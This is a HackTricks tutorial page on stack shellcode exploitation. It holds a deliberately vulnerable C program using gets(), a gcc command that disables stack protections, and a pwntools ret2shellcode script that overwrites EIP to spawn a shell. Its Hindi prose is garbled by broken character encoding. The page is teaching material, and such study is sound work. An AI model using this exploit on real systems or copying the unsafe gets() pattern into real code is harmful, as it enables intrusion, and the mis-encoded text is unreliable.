11 KiB
Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Stack shellcode рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ binary exploitation рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдХрдордЬреЛрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕реНрдЯреИрдХ рдкрд░ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ Instruction Pointer (IP) рдпрд╛ Extended Instruction Pointer (EIP) рдХреЛ рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕реНрдерд╛рди рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдпрд╛ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдПрдХ рд╡рд┐рд╡рд░рдг рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╕рд░рд▓ C рдЙрджрд╛рд╣рд░рдг рдФрд░ рдпрд╣ рдХреИрд╕реЗ рдЖрдк pwntools рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред
C Example: A Vulnerable Program
рдЪрд▓реЛ рдПрдХ рдХрдордЬреЛрд░ C рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕рд░рд▓ рдЙрджрд╛рд╣рд░рдг рд╕реЗ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо gets()
рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рдмрдлрд╝рд░ рдУрд╡рд░рдлрд╝реНрд▓реЛ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред
рд╕рдВрдХрд▓рди
рдЗрд╕ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдмрдХрд┐ рд╡рд┐рднрд┐рдиреНрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП), рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: рд╕реНрдЯреИрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред-z execstack
: рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕реНрдЯреИрдХ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред-no-pie
: рдкреЛрдЬреАрд╢рди рдЗрдВрдбрд┐рдкреЗрдВрдбреЗрдВрдЯ рдПрдХреНрд╕реАрдХреНрдпреВрдЯреЗрдмрд▓ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╣рдорд╛рд░рд╛ рд╢реЗрд▓рдХреЛрдб рдХрд╣рд╛рдБ рд╕реНрдерд┐рдд рд╣реЛрдЧрд╛ред-m32
: рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ 32-рдмрд┐рдЯ рдПрдХреНрд╕реАрдХреНрдпреВрдЯреЗрдмрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЕрдХреНрд╕рд░ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡рд┐рдХрд╛рд╕ рдореЗрдВ рд╕рд░рд▓рддрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
Python Exploit using Pwntools
рдпрд╣рд╛рдБ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЖрдк pwntools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ ret2shellcode рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП Python рдореЗрдВ рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреИрд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ NOP рд╕реНрд▓рд╛рдЗрдб, рд╢реЗрд▓рдХреЛрдб рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ EIP рдХреЛ NOP рд╕реНрд▓рд╛рдЗрдб рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрддреЗ рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддреА рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╢реЗрд▓рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдЬрд╛рдПред
NOP рд╕реНрд▓рд╛рдЗрдб (asm('nop')
) рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рд╣рдорд╛рд░реЗ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ "рд╕реНрд▓рд╛рдЗрдб" рдХрд░реЗрдЧрд╛ рдЪрд╛рд╣реЗ рд╕рдЯреАрдХ рдкрддрд╛ рдХреБрдЫ рднреА рд╣реЛред рдЕрдкрдиреЗ рдмрдлрд░ рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкрддреЗ рдХреЗ рд▓рд┐рдП p32()
рддрд░реНрдХ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░реЗрдВ рдФрд░ NOP рд╕реНрд▓рд╛рдЗрдб рдореЗрдВ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛрдбрд╝реЗрдВред
рд╕реБрд░рдХреНрд╖рд╛
- ASLR рдХреЛ рдмрдВрдж рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдкрддрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реЛ рдпрд╛ рдЬрд┐рд╕ рдкрддреЗ рдкрд░ рдлрд╝рдВрдХреНрд╢рди рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдЧрд╛ рд╡рд╣ рд╣рдореЗрд╢рд╛ рдПрдХ рдЬреИрд╕рд╛ рдирд╣реАрдВ рд╣реЛрдЧрд╛ рдФрд░ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд▓реАрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдХрд┐ рдЬреАрдд рдлрд╝рдВрдХреНрд╢рди рдХрд╣рд╛рдБ рд▓реЛрдб рд╣реБрдЖ рд╣реИред
- рд╕реНрдЯреИрдХ рдХреИрдирд░реАрдЬрд╝ рдХреЛ рднреА рдмрдВрдж рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ EIP рд░рд┐рдЯрд░реНрди рдкрддрд╛ рдХрднреА рдирд╣реАрдВ рдлреЙрд▓реЛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
- NX рд╕реНрдЯреИрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХ рджреЗрдЧреА рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдХреНрд╖реЗрддреНрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдирд╣реАрдВ рд╣реЛрдЧрд╛ред
рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдФрд░ рд╕рдВрджрд░реНрдн
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рдкрддрд╛ рд▓реАрдХ, рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рд▓реАрдХ, рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 рдмрд┐рдЯ, ASLR рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рд▓реАрдХ, exit() рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рддреБрд▓рдирд╛, рдПрдХ рдорд╛рди рдХреЗ рд╕рд╛рде рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ рдФрд░ рд╢реЗрд▓рдХреЛрдб рд▓рд┐рдЦреЗрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджреЗрдВ
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, рдХреЛрдИ ASLR рдирд╣реАрдВ, рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП ROP рдЧреИрдЬреЗрдЯ рдФрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдкрд░ рдХреВрджреЗрдВ
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.